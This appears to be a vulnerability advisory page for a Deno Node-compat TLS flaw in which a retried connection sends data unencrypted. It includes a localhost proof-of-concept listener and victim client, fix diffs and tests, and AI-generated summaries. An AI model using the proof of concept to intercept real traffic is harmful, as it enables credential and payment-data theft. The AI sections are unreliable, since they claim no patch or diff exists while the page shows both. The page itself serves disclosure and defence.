Deno's TLS retry copies stale upgrade hook, risking plaintext traffic
Description
Summary
A flaw in Deno's Node.js tls compatibility layer could cause a TLS client to transmit application data in plaintext after a connection retry. When `autoSelectFamily was enabled and the first address-family attempt failed, the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle.
As a result, the replacement TCP connection was never upgraded to TLS, and any data the application wrote before the secureConnect event travelled over the network unencrypted.
A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) could deterministically trigger the fallback path and observe or tamper with traffic that the application believed was TLS-protected.
Affected APIs: Applications using Deno's node:tls or node:https surface with autoSelectFamily enabled (the default) that wrote to the socket before the secureConnect event.
Proof of concept
attacker.mjs (captures whatever the client sends)
import net from "node:net";
const server = net.createServer((socket) => {
console.log("[attacker] client connected from", socket.remoteAddress);
socket.on("data", (chunk) => {
// If TLS were working, this would be an opaque ClientHello.
// If the bug fires, we see the application payload in cleartext.
console.log("[attacker] received", chunk.length, "bytes:");
console.log(chunk.toString("utf8"));
});
});
server.listen(4444, "127.0.0.1", () => {
console.log("[attacker] listening on 127.0.0.1:4444");
});
victim.mjs (a normal-looking TLS client)
import tls from "node:tls";
const socket = tls.connect({
host: "api.example.invalid",
port: 4444,
autoSelectFamily: true, // Node-compat default
// First address is a black hole (nothing on [::1]:4444),
// so autoSelectFamily falls back to the second address.
// In a real attack, the on-path attacker arranges this via
// routing, DNS, or by dropping the first SYN.
lookup: (_host, _opts, cb) => {
cb(null, [
{ address: "::1", family: 6 }, // fails -> retry
{ address: "127.0.0.1", family: 4 }, // attacker
]);
},
rejectUnauthorized: false,
});
// Application writes BEFORE secureConnect — common pattern in
// Node clients that pipe a request body or send a greeting.
socket.write("POST /v1/charge HTTP/1.1\r\n");
socket.write("Authorization: Bearer sk_live_SECRET_TOKEN\r\n");
socket.write("Content-Type: application/json\r\n\r\n");
socket.write(JSON.stringify({ amount: 100, card: "4242424242424242" }));
socket.on("secureConnect", () => console.log("[victim] secureConnect"));
socket.on("error", (e) => console.log("[victim] error:", e.message));
In terminal 1 deno run --allow-net attacker.mjs In terminal 2 deno run --allow-net victim.mjs
Expected vs. observed
On a patched Deno (≥ 2.7.8), the attacker terminal sees an opaque TLS ClientHello (a binary blob starting with 0x16 0x03 0x01 …), and the victim eventually errors out because the attacker isn't speaking TLS.
On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints:
[attacker] received 41 bytes:
POST /v1/charge HTTP/1.1
Authorization: Bearer sk_live_SECRET_TOKEN
...
The bearer token, the request body, and the card number all appear in plaintext, even though the application used tls.connect.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
In Deno's Node.js TLS compatibility layer, a stale TLS upgrade hook can cause plaintext data transmission after connection retry, enabling traffic interception by network attackers.
Vulnerability
A flaw in Deno's Node.js TLS compatibility layer causes a TLS client to transmit application data in plaintext after a connection retry when autoSelectFamily is enabled (the default). When the first address-family attempt fails, the socket reinitialization path reuses a stale TLS upgrade hook bound to the original, failed handle. The replacement TCP connection is never upgraded to TLS. This affects Deno's node:tls and node:https surface with autoSelectFamily enabled, when the application writes data to the socket before the secureConnect event. [1][2]
Exploitation
An attacker on the network path can cause the initial connection attempt to fail (e.g., by dropping IPv6 traffic on a dual-stack host) to deterministically trigger the fallback path. The attacker then observes or tampers with traffic that the application believed was TLS-protected. The attack requires the ability to cause the first address-family attempt to fail and to intercept or modify the subsequent plaintext traffic. [1][2]
Impact
Successful exploitation results in disclosure of sensitive application data transmitted before the secureConnect event, as it is sent unencrypted. An attacker can also tamper with that data. The impact is a complete loss of confidentiality and integrity for the affected data. No authentication or privileges are needed beyond network position. [1][2]
Mitigation
As of the available references, no fixed version or workaround has been disclosed. The advisory was published on 2026-05-27. Users should monitor the Deno project for a patch and avoid writing data to TLS sockets before the secureConnect event when using autoSelectFamily enabled (the default). [1][2]
AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
3Patches
3af670585e4d1fix(ext/node): preserve TLS upgrade state on reconnect (#32838)
5 files changed · +70 −23
ext/node/ops/http2/session.rs+6 −11 modified@@ -20,14 +20,9 @@ use deno_core::v8; use libnghttp2 as ffi; use serde::Serialize; -/// Type alias matching the C `ssize_t` type used by nghttp2 callbacks. -/// On Unix, `ssize_t` equals `isize`. On 64-bit Windows MSVC, `ssize_t` -/// is defined as `long long` (`i64`), which bindgen emits as `i64` -/// rather than `isize`. -#[cfg(not(windows))] -type CSsizeT = isize; -#[cfg(windows)] -type CSsizeT = i64; +/// Match the exact callback return type generated by libnghttp2 bindings on +/// the current platform instead of guessing the Windows `ssize_t` mapping. +type CSsizeT = ffi::nghttp2_ssize; use super::stream::Http2Headers; use super::stream::Http2Priority; @@ -1342,7 +1337,7 @@ fn create_callbacks() -> *mut ffi::nghttp2_session_callbacks { callbacks, Some(on_frame_send_callback), ); - ffi::nghttp2_session_callbacks_set_select_padding_callback( + ffi::nghttp2_session_callbacks_set_select_padding_callback2( callbacks, Some(on_select_padding), ); @@ -1826,7 +1821,7 @@ impl Http2Session { options: i32, ) -> i32 { let has_data = (options & STREAM_OPTION_EMPTY_PAYLOAD) == 0; - let mut data_provider = ffi::nghttp2_data_provider { + let mut data_provider = ffi::nghttp2_data_provider2 { source: ffi::nghttp2_data_source { ptr: std::ptr::null_mut(), }, @@ -1841,7 +1836,7 @@ impl Http2Session { // SAFETY: self.session, priority, headers, and data_provider are valid let ret = unsafe { - ffi::nghttp2_submit_request( + ffi::nghttp2_submit_request2( self.session, &priority.spec, headers.data(),
ext/node/ops/http2/stream.rs+4 −4 modified@@ -332,7 +332,7 @@ impl Http2Stream { } let has_data = (options & STREAM_OPTION_EMPTY_PAYLOAD) == 0; - let mut data_provider = ffi::nghttp2_data_provider { + let mut data_provider = ffi::nghttp2_data_provider2 { source: ffi::nghttp2_data_source { ptr: std::ptr::null_mut(), }, @@ -347,7 +347,7 @@ impl Http2Stream { // SAFETY: session pointer is valid during stream lifetime unsafe { - ffi::nghttp2_submit_response( + ffi::nghttp2_submit_response2( session_ptr, self.id, headers.data(), @@ -438,7 +438,7 @@ impl Http2Stream { let session_ptr = self.nghttp2_session(); if headers.1 == 0 { - let mut data_provider = ffi::nghttp2_data_provider { + let mut data_provider = ffi::nghttp2_data_provider2 { source: ffi::nghttp2_data_source { ptr: std::ptr::null_mut(), }, @@ -447,7 +447,7 @@ impl Http2Stream { // SAFETY: session pointer is valid during stream lifetime unsafe { - ffi::nghttp2_submit_data( + ffi::nghttp2_submit_data2( session_ptr, ffi::NGHTTP2_FLAG_END_STREAM as u8, self.id,
ext/node/polyfills/net.ts+9 −1 modified@@ -1799,7 +1799,15 @@ Socket.prototype[kReinitializeHandle] = function (handle) { this._handle?.close(); // Make sure TLS wrap works after reinitialize. - handle.afterConnectTls = this._handle.afterConnectTls; + if (typeof this._handle?.afterConnectTls === "function") { + const { promise, resolve } = Promise.withResolvers(); + handle.afterConnectTls = this._handle.afterConnectTls; + handle.afterConnectTlsResolve = resolve; + handle.upgrading = promise; + handle.verifyError = this._handle.verifyError; + handle._parent = handle; + handle._parentWrap = this._handle._parentWrap; + } this._handle = handle; this._handle[ownerSymbol] = this;
ext/node/polyfills/_tls_wrap.js+9 −7 modified@@ -198,7 +198,7 @@ export class TLSSocket extends net.Socket { const { promise, resolve } = Promise.withResolvers(); // Set `afterConnectTls` hook. This is called in the `afterConnect` method of net.Socket - handle.afterConnectTls = async () => { + handle.afterConnectTls = async function () { options.hostname ??= undefined; // coerce to undefined if null, startTls expects hostname to be undefined if (tlssock._needsSockInitWorkaround) { tlssock.emit("secure"); @@ -209,7 +209,7 @@ export class TLSSocket extends net.Socket { try { const conn = await startTls( wrap, - handle, + this, options, ); try { @@ -225,13 +225,14 @@ export class TLSSocket extends net.Socket { } // Assign the TLS connection to the handle and resume reading. - handle[kStreamBaseField] = conn; - handle.upgrading = false; - if (!handle.pauseOnCreate) { - handle.readStart(); + this[kStreamBaseField] = conn; + this.upgrading = false; + if (!this.pauseOnCreate) { + this.readStart(); } - resolve(); + this.afterConnectTlsResolve?.(); + delete this.afterConnectTlsResolve; tlssock.emit("secure"); tlssock.removeListener("end", onConnectEnd); @@ -240,6 +241,7 @@ export class TLSSocket extends net.Socket { } }; + handle.afterConnectTlsResolve = resolve; handle.upgrading = promise; handle.verifyError = function () { return null; // Never fails, rejectUnauthorized is always true in Deno.
tests/unit_node/tls_test.ts+42 −0 modified@@ -319,6 +319,48 @@ Deno.test("tlssocket._handle._parentWrap is set", () => { assertInstanceOf(parentWrap, stream.PassThrough); }); +Deno.test("net.Socket reinitialize preserves TLS upgrade state", () => { + const socket = new net.Socket(); + const reinitializeHandle = Object.getOwnPropertySymbols(net.Socket.prototype) + .find((symbol) => symbol.description === "kReinitializeHandle"); + + assert(reinitializeHandle, "expected kReinitializeHandle symbol"); + const reinitializeHandleSymbol = reinitializeHandle as symbol; + + let closed = false; + const afterConnectTls = function () {}; + const verifyError = () => null; + const parentWrap = new stream.PassThrough(); + + // deno-lint-ignore no-explicit-any + (socket as any)._handle = { + close() { + closed = true; + }, + afterConnectTls, + verifyError, + _parentWrap: parentWrap, + }; + + const newHandle = {}; + // deno-lint-ignore no-explicit-any + (socket as any)[reinitializeHandleSymbol](newHandle); + + assert(closed); + // deno-lint-ignore no-explicit-any + assertEquals((newHandle as any).afterConnectTls, afterConnectTls); + // deno-lint-ignore no-explicit-any + assertEquals(typeof (newHandle as any).afterConnectTlsResolve, "function"); + // deno-lint-ignore no-explicit-any + assert((newHandle as any).upgrading instanceof Promise); + // deno-lint-ignore no-explicit-any + assertEquals((newHandle as any).verifyError, verifyError); + // deno-lint-ignore no-explicit-any + assertEquals((newHandle as any)._parent, newHandle); + // deno-lint-ignore no-explicit-any + assertEquals((newHandle as any)._parentWrap, parentWrap); +}); + Deno.test({ name: "tls connect upgrade js socket wrapper", sanitizeOps: false,
af670585c4e1d736de8eee49fix(node/http): stop leaking TCP wrappers on HTTPS upgrade with createConnection TLSSocket (#32961)
3 files changed · +124 −5
ext/node/polyfills/http.ts+42 −5 modified@@ -90,6 +90,7 @@ import { import { timerId } from "ext:deno_web/03_abort_signal.js"; import { clearTimeout as webClearTimeout } from "ext:deno_web/02_timers.js"; import { resourceForReadableStream } from "ext:deno_web/06_streams.js"; +import { kReinitializeHandle } from "ext:deno_node/internal/net.ts"; import { kDestroyed, kEnded, @@ -471,7 +472,9 @@ class ClientRequest extends OutgoingMessage { // we apply sock-init-workaround // This covers npm:ws and npm:mqtt // https://github.com/denoland/deno/issues/27694 - newSocket._needsSockInitWorkaround = true; + if (newSocket.encrypted !== true) { + newSocket._needsSockInitWorkaround = true; + } oncreate(null, newSocket); } } catch (err) { @@ -706,9 +709,41 @@ class ClientRequest extends OutgoingMessage { port: info[3], }, ); - const socket = new Socket({ - handle: new TCP(constants.SOCKET, conn), - }); + const upgradeHandle = new TCP(constants.SOCKET, conn); + let socket = this.socket; + // Only reuse the existing socket when it was provided via + // createConnection (encrypted TLS socket). For plain HTTP + // upgrades, create a fresh Socket to avoid dangling state. + if ( + socket?.encrypted === true && + socket?.[kReinitializeHandle] + ) { + if (this._socketErrorListener) { + socket.removeListener("error", this._socketErrorListener); + this._socketErrorListener = null; + } + socket.emit("agentRemove"); + const tlsWrapState = socket.encrypted === true && + socket._tlsUpgraded && + socket._handle + ? { + verifyError: socket._handle.verifyError, + parentWrap: socket._handle._parentWrap, + } + : null; + if (tlsWrapState) { + delete socket._handle.afterConnectTls; + } + socket[kReinitializeHandle](upgradeHandle); + if (tlsWrapState) { + upgradeHandle.verifyError = tlsWrapState.verifyError; + upgradeHandle._parent = upgradeHandle; + upgradeHandle._parentWrap = tlsWrapState.parentWrap; + socket._tlsUpgraded = true; + } + } else { + socket = new Socket({ handle: upgradeHandle }); + } this.upgradeOrConnect = true; @@ -867,7 +902,9 @@ class ClientRequest extends OutgoingMessage { }; this._socketErrorListener = socketErrorListener; socket.once("error", socketErrorListener); - if (socket.readyState === "opening") { + if (socket.encrypted === true && socket.secureConnecting) { + socket.once("secureConnect", onConnect); + } else if (socket.readyState === "opening") { socket.on("connect", onConnect); } else { onConnect();
ext/node/polyfills/_tls_wrap.js+1 −0 modified@@ -226,6 +226,7 @@ export class TLSSocket extends net.Socket { // Assign the TLS connection to the handle and resume reading. this[kStreamBaseField] = conn; + tlssock._tlsUpgraded = true; this.upgrading = false; if (!this.pauseOnCreate) { this.readStart();
tests/unit_node/http_upgrade_create_connection_test.ts+81 −0 added@@ -0,0 +1,81 @@ +// Copyright 2018-2026 the Deno authors. MIT license. + +import { once } from "node:events"; +import https from "node:https"; +import tls from "node:tls"; +import type { AddressInfo } from "node:net"; +import type { Duplex } from "node:stream"; + +import { assert, assertStrictEquals } from "@std/assert"; + +Deno.test({ + name: "[node/https] client upgrade reuses TLSSocket from createConnection", + permissions: { + net: true, + read: [ + "tests/testdata/tls/localhost.crt", + "tests/testdata/tls/localhost.key", + ], + }, +}, async () => { + const cert = Deno.readTextFileSync("tests/testdata/tls/localhost.crt"); + const key = Deno.readTextFileSync("tests/testdata/tls/localhost.key"); + let serverSocket: Duplex | undefined; + + const server = https.createServer({ cert, key }); + server.on("upgrade", (_req, socket, _head) => { + serverSocket = socket; + socket.write( + "HTTP/1.1 101 Switching Protocols\r\n" + + "Connection: Upgrade\r\n" + + "Upgrade: websocket\r\n" + + "\r\n", + ); + }); + + server.listen(0, "127.0.0.1"); + await once(server, "listening"); + + const { port } = server.address() as AddressInfo; + const tlsSocket = tls.connect({ + host: "127.0.0.1", + port, + rejectUnauthorized: false, + servername: "localhost", + }); + + const req = https.request({ + host: "127.0.0.1", + port, + method: "GET", + createConnection: () => tlsSocket, + headers: { + Connection: "Upgrade", + Upgrade: "websocket", + "Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==", + "Sec-WebSocket-Version": "13", + }, + }); + + const [_res, socket, _head] = await new Promise< + [unknown, Duplex, unknown] + >((resolve, reject) => { + req.on("upgrade", (...args) => resolve(args)); + req.on("error", reject); + req.end(); + }); + + assertStrictEquals(socket, tlsSocket); + // @ts-ignore TLSSocket-specific property + assert(socket.encrypted); + + const socketClosed = once(socket, "close"); + const peerClosed = serverSocket + ? once(serverSocket, "close") + : Promise.resolve(); + const serverClosed = once(server, "close"); + socket.destroy(); + serverSocket?.destroy(); + server.close(); + await Promise.all([socketClosed, peerClosed, serverClosed]); +});
Vulnerability mechanics
Root cause
"Stale TLS upgrade hook reuse in socket reinitialization path when autoSelectFamily retries a failed connection attempt."
Attack vector
A network attacker positioned to cause the initial connection attempt to fail (for example, by dropping IPv6 traffic on a dual-stack host) can deterministically trigger the fallback path [ref_id=1][ref_id=2]. When `autoSelectFamily` is enabled (the default) and the first address-family attempt fails, the socket reinitialization path reuses a stale TLS upgrade hook bound to the original, failed handle. As a result, the replacement TCP connection is never upgraded to TLS, and any data the application writes before the `secureConnect` event travels over the network unencrypted [ref_id=1][ref_id=2]. The attacker can then observe or tamper with traffic that the application believed was TLS-protected.
Affected code
The vulnerability resides in Deno's Node.js `tls` compatibility layer, specifically in the socket reinitialization path triggered when `autoSelectFamily` is enabled and the first address-family attempt fails. The advisory states that "the socket reinitialization path reused a stale TLS upgrade hook that was bound to the original, failed handle" [ref_id=1][ref_id=2]. No specific function names or file paths are disclosed in the available references.
What the fix does
The advisory does not include a patch diff, but states that on a patched Deno (≥ 2.7.8) the attacker sees an opaque TLS ClientHello and the victim errors out because the attacker is not speaking TLS [ref_id=1][ref_id=2]. The fix presumably ensures that when a connection retry occurs due to `autoSelectFamily` fallback, the replacement TCP connection receives a fresh TLS upgrade hook rather than reusing the stale hook from the failed handle, guaranteeing that the new connection is properly upgraded to TLS before application data is transmitted.
Preconditions
- configThe application must use Deno's node:tls or node:https APIs with autoSelectFamily enabled (the default)
- inputThe application must write data to the socket before the secureConnect event
- networkThe attacker must be able to cause the initial address-family connection attempt to fail (e.g., by dropping IPv6 traffic on a dual-stack host)
Reproduction
1. Run `deno run --allow-net attacker.mjs` in terminal 1 (the attacker server listening on 127.0.0.1:4444). 2. Run `deno run --allow-net victim.mjs` in terminal 2 (the TLS client configured with a lookup that returns ::1 first, then 127.0.0.1). 3. On a vulnerable Deno (≥ 2.0.0, < 2.7.8), the attacker terminal prints the application payload (bearer token, card number, etc.) in plaintext instead of an opaque TLS ClientHello [ref_id=1][ref_id=2].
Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.